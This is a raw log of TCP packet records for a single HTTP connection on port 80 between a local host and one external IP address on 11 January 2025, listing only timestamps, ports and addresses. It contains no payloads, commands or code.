Jan 11, 2025 01:53:18.915050030 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:53:18.915095091 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:53:18.915132999 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:53:18.915210009 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:53:18.915256977 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:53:18.915256977 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:53:18.915304899 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:53:18.915353060 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:53:18.915374994 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:53:18.915426970 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:53:18.915477037 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:53:18.915488958 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:53:18.915535927 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:53:18.915580034 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:53:18.915580988 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:53:18.915626049 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:53:18.915673018 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:53:18.915674925 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:53:18.915719986 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:53:18.915765047 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:53:18.915766001 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:53:18.915812969 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:53:18.915853977 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:53:18.915864944 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:53:18.918982983 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:53:18.944541931 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:53:18.944605112 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:53:18.944658041 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:53:18.944672108 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:53:18.944717884 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:53:18.944737911 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:53:18.944783926 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:53:18.944829941 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:53:18.944834948 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:53:18.944891930 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:53:18.944935083 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:53:18.944955111 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:53:18.945000887 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:53:18.945043087 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:53:18.945046902 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:53:18.945094109 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:53:18.945139885 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:53:18.945157051 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:53:18.945202112 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:53:18.945250988 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:53:18.945266962 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:53:18.945327044 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:53:18.945365906 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:53:18.945386887 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:53:18.945430994 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:53:18.945477962 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:53:18.945481062 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:53:18.945525885 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:53:18.945568085 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:53:18.945571899 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:53:18.945616961 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:53:18.945661068 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:53:18.945664883 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:53:18.945709944 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:53:18.945754051 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:53:18.945770025 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:53:18.945830107 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:53:18.945873022 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:53:18.945894003 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:53:18.945939064 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:53:18.945983887 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:53:18.945983887 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:53:18.946031094 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:53:18.946069002 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:53:18.946075916 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:53:18.946120977 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:53:18.946162939 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:53:18.946166992 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:53:18.946216106 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:53:18.946261883 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:53:18.946264029 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:53:18.946306944 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:53:18.946351051 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:53:18.946352005 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:53:18.946398020 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:53:18.946444035 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:53:18.946444988 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:53:18.946485043 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:53:18.946530104 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:53:18.946547985 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:53:18.946594954 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:53:18.946640968 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:53:18.946655989 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:53:18.946702003 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:53:18.946742058 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:53:18.946748018 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:53:18.946791887 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:53:18.946835041 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:53:18.946837902 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:53:18.946938038 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:53:18.946983099 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:53:18.946983099 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:53:18.947030067 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:53:18.947072983 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:53:18.947073936 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:53:18.947118998 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:53:18.947163105 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:53:18.947164059 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:53:18.947210073 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:53:18.947253942 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:53:18.947256088 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:53:18.947304964 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:53:18.947346926 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:53:18.947468042 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:53:18.947527885 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:53:18.947572947 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:53:18.947576046 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:53:18.947638035 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:53:18.947679043 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:53:18.947683096 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:53:18.947727919 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:53:18.947772026 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:53:18.947772026 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:53:18.947818995 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:53:18.947864056 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:53:18.947864056 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:53:18.947910070 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:53:18.947953939 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:53:18.947954893 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:53:18.948000908 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:53:18.948045015 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:53:18.948045969 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:53:18.948091984 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:53:18.948134899 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:53:18.948136091 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:53:18.948184013 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:53:18.948229074 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:53:18.948673964 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:53:18.948719025 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:53:18.948757887 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:53:18.948765993 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:53:18.948780060 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:53:18.948801994 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:53:18.948817015 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:53:18.948822021 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:53:18.948843956 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:53:18.948854923 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:53:18.948864937 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:53:18.948885918 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:53:18.948904991 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:53:18.972623110 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:53:18.972709894 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:53:18.972719908 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:53:18.972754002 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:53:18.972801924 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:53:18.972803116 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:53:18.972850084 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:53:18.972893000 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:53:18.972901106 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:53:18.972942114 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:53:18.972985983 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:53:18.973823071 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:53:18.985534906 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:53:19.002712965 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:53:19.002791882 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:53:19.002846003 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:53:19.002856016 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:53:19.002909899 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:53:19.002953053 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:53:19.002974033 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:53:19.003020048 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:53:19.003063917 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:53:19.003065109 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:53:19.003113031 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:53:19.003153086 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:53:19.003202915 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:53:19.003267050 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:53:19.003309965 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:53:19.003339052 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:53:19.003443956 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:53:19.003488064 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:53:19.003489971 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:53:19.003536940 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:53:19.003581047 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:53:19.003585100 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:53:19.003633976 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:53:19.003679991 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:53:19.003680944 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:53:19.003726959 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:53:19.003772020 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:53:19.003776073 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:53:19.003818035 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:53:19.003856897 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:53:19.003865004 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:53:19.003910065 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:53:19.003954887 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:53:19.003973961 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:53:19.004081964 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:53:19.004123926 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:53:19.004128933 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:53:19.004177094 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:53:19.004216909 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:53:19.004225016 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:53:19.004270077 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:53:19.004313946 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:53:19.032107115 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:53:19.032133102 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:53:19.032154083 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:53:19.032166958 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:53:19.032186985 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:53:19.032191992 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:53:19.032207966 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:53:19.032218933 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:53:19.032227993 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:53:19.032244921 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:53:19.032260895 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:53:19.032289028 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:53:19.032321930 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:53:19.032334089 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:53:19.032352924 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:53:19.032361031 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:53:19.032383919 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:53:19.032390118 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:53:19.032399893 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:53:19.032417059 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:53:19.032428026 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:53:19.032449007 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:53:19.032481909 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:53:19.032520056 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:53:19.032531023 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:53:19.032546997 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:53:19.032560110 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:53:19.032581091 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:53:19.032596111 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:53:19.032612085 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:53:19.032617092 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:53:19.032629967 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:53:19.032641888 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:53:19.032799006 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:53:19.032810926 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:53:19.032830954 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:53:19.032835960 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:53:19.032847881 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:53:19.032865047 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:53:19.032875061 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:53:19.032902956 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:53:19.033000946 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:53:19.033011913 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:53:19.033039093 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:53:19.033052921 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:53:19.033054113 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:53:19.033073902 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:53:19.033086061 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:53:19.033088923 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:53:19.033121109 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:53:19.033165932 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:53:19.033227921 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:53:19.033243895 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:53:19.033258915 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:53:19.033298016 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:53:19.033310890 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:53:19.033332109 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:53:19.033333063 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:53:19.033349991 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:53:19.033368111 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:53:19.033401966 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:53:19.033413887 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:53:19.033432007 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:53:19.033438921 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:53:19.033451080 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:53:19.033472061 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:53:19.033648968 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:53:19.033685923 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:53:19.033689976 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:53:19.033706903 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:53:19.033739090 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:53:19.033752918 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:53:19.033763885 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:53:19.033780098 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:53:19.033792019 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:53:19.033793926 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:53:19.033827066 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:53:19.033828974 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:53:19.033843994 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:53:19.033854961 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:53:19.033885002 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:53:19.033886909 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:53:19.033906937 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:53:19.033921003 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:53:19.033926964 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:53:19.033945084 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:53:19.033958912 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:53:19.033960104 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:53:19.033978939 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:53:19.033993959 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:53:19.033996105 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:53:19.034028053 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:53:19.037336111 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:53:19.037362099 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:53:19.037377119 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:53:19.037389040 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:53:19.037405014 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:53:19.037415981 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:53:19.037432909 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:53:19.037436008 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:53:19.037450075 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:53:19.037466049 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:53:19.037478924 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:53:19.037481070 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:53:19.037497044 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:53:19.037504911 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:53:19.037512064 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:53:19.037528992 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:53:19.037530899 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:53:19.037549019 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:53:19.037549973 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:53:19.037585974 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:53:19.037739038 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:53:19.037750959 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:53:19.037769079 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:53:19.037779093 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:53:19.037795067 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:53:19.037803888 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:53:19.037836075 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:53:19.037838936 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:53:19.037851095 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:53:19.037867069 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:53:19.037873030 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:53:19.037903070 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:53:19.037931919 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:53:19.037960052 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:53:19.037992001 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:53:19.092330933 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:53:19.092396975 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:53:19.092462063 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:53:19.092463017 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:53:19.092509031 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:53:19.092550993 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:53:19.092557907 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:53:19.092622995 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:53:19.092663050 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:53:19.092670918 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:53:19.092716932 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:53:19.092762947 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:53:19.092771053 CET	49709	80	192.168.2.6	193.143.1.205
